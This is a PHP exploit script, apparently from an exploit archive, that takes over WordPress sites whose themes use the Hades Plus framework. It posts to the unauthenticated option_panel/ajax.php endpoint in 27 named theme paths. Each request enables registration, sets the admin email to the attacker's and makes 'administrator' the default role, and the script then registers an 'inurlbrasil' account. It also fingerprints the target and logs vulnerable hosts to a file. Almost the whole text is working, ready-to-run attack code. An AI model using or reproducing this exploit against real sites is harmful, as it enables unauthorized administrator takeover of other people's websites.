[EXPLOIT]=> Wordpress -Hades Plus Add ADM / INURL - BRASIL

<?php
/*
----------------------------------------------------------
*NAME*: Wordpress -Hades Plus Add ADM / INURL - BRASIL
*TIPE*: User improper inclusion
*Tested on*: Linux
*EXECUTE*: php exploit.php http://www.target.us [email protected]
*OUTPUT*: 0day_Hades_Plus_Framework_Add_Administrator.txtt
*AUTOR*: Cleiton Pinheiro / NICK: GoogleINURL
*EMAIL*: [email protected]
*Blog*: http://blog.inurl.com.br
*Twitter*: https://twitter.com/googleinurl
*Fanpage*: https://fb.com/InurlBrasil
*GIT*: https://github.com/googleinurl
*YOUTUBE* https://www.youtube.com/channel/UCFP-WEzs5Ikdqw0HBLImGGA
*PACKETSTORMSECURITY:* http://packetstormsecurity.com/user/googleinurl/
----------------------------------------------------------

*Description:*
This exploit allows an attacker to add new users through the /hades_framework/option_panel/ajax.php way sending request post completed.
This failure is in bristle web 27 Themas:
appius,Consultant,appius1,archin,averin,dagda,echea,felici,GantiDengantema,kmp,kmp2,themanya,liberal,liberal-media-bias,linguini,livewire,majestics,mathis,mazine,
Orchestra, shopsum, shotzz, test, Viteeo, vithy, yvora, sodales.
----------------------------------------------------------

*Usage Information:*
php exploit.php http://www.target.gov.us [email protected]

Logic:
$ params ['email'] = 'you_email';
$ params ['user'] = 'inurlbrasil';

EXPLOIT POST:
values[0][name]=users_can_register&values[0][value]=1&values[1][name]=admin_email&values[1][value]={$params['email']}&values[2][name]=default_role&values[2][value]=administrator&action=save;

if (result the requisition == success) {
is a possible vulnerable and sent one Feedback activation of inurlbrasil usuraio.
}
----------------------------------------------------------
*/
error_reporting(1);
set_time_limit(0);
ini_set('display_errors', 1);
ini_set('max_execution_time', 0);
ini_set('allow_url_fopen', 1);
ob_implicit_flush(true);
ob_end_flush();

$params = array();

$params['email'] = $argv[2];
$params['user'] = 'inurlbrasil';
$params['post'] = "values%5B0%5D%5Bname%5D=users_can_register&values%5B0%5D%5Bvalue%5D=1&values%5B1%5D%5Bname%5D=admin_email&values%5B1%5D%5Bvalue%5D={$params['email']}&values%5B2%5D%5Bname%5D=default_role&values%5B2%5D%5Bvalue%5D=administrator&action=save";

$corpo = file_get_contents($argv[1]);
!(preg_match_all("#\b((((ht|f)tps?://*)|(www|ftp)\.)[a-zA-Z0-9-\.]+)#i", $argv[1], $alvo_)) ? exit('0x[ERROR]: DEFINA URL') : NULL;

preg_match_all("#WordPress (.*?)/>#", $alvo_[0][0], $version);
$str = str_replace('/>', '', $version[0]);
$str = str_replace('"', '', $str);
$users = file_get_contents("{$alvo_[0][0]}/?author=1");
preg_match('/<title>(.*?)<\/title>/si', $users, $user);
$wpuser = explode('|', $user[1]);
$headers = get_headers($argv[1], 1);
print "\r\n0x[EXPLOIT NAME]: WordPress 0day - Hades Plus Framework Add Administrator / INURL - BRASIL";
print "\n--------------------------------------------------------------------------------------------------";
print "\n0x[INFO]: ";
print $headers[0] . (isset($headers[1]) ? ' -> ' . $headers[1] : NULL);
print "\n0x[INFO]: ";
is_array($headers['Server']) ? print_r($headers['Server'][0]) : print_r($headers['Server']);
print "\n0x[INFO]: ";
is_array($headers['X-Pingback']) ? print_r($headers['X-Pingback'][0]) : print_r($headers['X-Pingback']);
print "\n0x[INFO]: ";
is_array($headers['X-Powered-By']) ? print_r($headers['X-Powered-By'][0]) : print_r($headers['X-Powered-By']);
print "\n0x[INFO]: TARGET: {$alvo_[0][0]} | WP USER: " . str_replace("\n", '', $wpuser[0]) . " | VERSION: {$str} \n";


__request($alvo_[0][0], '/wp-content/themes/appius/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/Consultant/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/appius1/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/archin/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/averin/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/dagda/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/echea/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/felici/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/GantiDengantema/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/kmp/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/kmp2/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/themanya/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/liberal/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/liberal-media-bias/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/linguini/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/livewire/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/majestics/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/mathis/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/mazine/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/Orchestra/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/shopsum/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/shotzz/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/test/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/Viteeo/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/vithy/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/yvora/hades_framework/option_panel/ajax.php', $params);
__request($alvo_[0][0], '/wp-content/themes/sodales/hades_framework/option_panel/ajax.php', $params);

function __request($url, $plugin, $params) {

    $objcurl = curl_init();
    curl_setopt($objcurl, CURLOPT_URL, $url . $plugin);
    curl_setopt($objcurl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($objcurl, CURLOPT_HEADER, 0);
    curl_setopt($objcurl, CURLOPT_HTTPHEADER, array(
        'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:30.0) Gecko/20100101 Firefox/30.0',
        'Accept: application/json, text/javascript, */*; q=0.01',
        'X-Requested-With: XMLHttpRequest',
        "Referer: {$url}",
        'Accept-Language: en-US,en;q=0.5',
        'Cookie: bb_lastvisit=1400483408; bb_lastactivity=0;'
    ));
    curl_setopt($objcurl, CURLOPT_REFERER, $url . $plugin);
    curl_setopt($objcurl, CURLOPT_POSTFIELDS, $params['post']);

    $corpo = curl_exec($objcurl);
    curl_close($objcurl);

    if (strstr($corpo, 'success')) {

        $res = "\n--------------------------------------------------------------------------------------------------------------------------------------------------------------------\n0x[INFO][VULN]: [ " . date("d-m-Y H:i:s") . " ]\n";
        $res.= "\n0x[INFO][VULN]: {$url}{$plugin} - RETURN=> [ {$corpo} ] / {$params['user']}, EMAIL=> " . urldecode($params['email']);
        $res.= "\n--------------------------------------------------------------------------------------------------------------------------------------------------------------------\n";
        print $res;
        $admin['post'] = urlencode("user_login={$params['user']}&user_email={$params['email']}&redirect_to=&wp-submit=Inscription");
        (strstr($corpo, 'success') ? __request($url, '/wp-login.php?action=register', $admin) : NULL);
        file_put_contents('0day_Hades_Plus_Framework_Add_Administrator.txt', "{$res}\n", FILE_APPEND);
    } else {
        print (($plugin != '/wp-login.php?action=register') ?  "\n0x[INFO][NOT VULN]: {$url}{$plugin} "  : NULL);
    }
}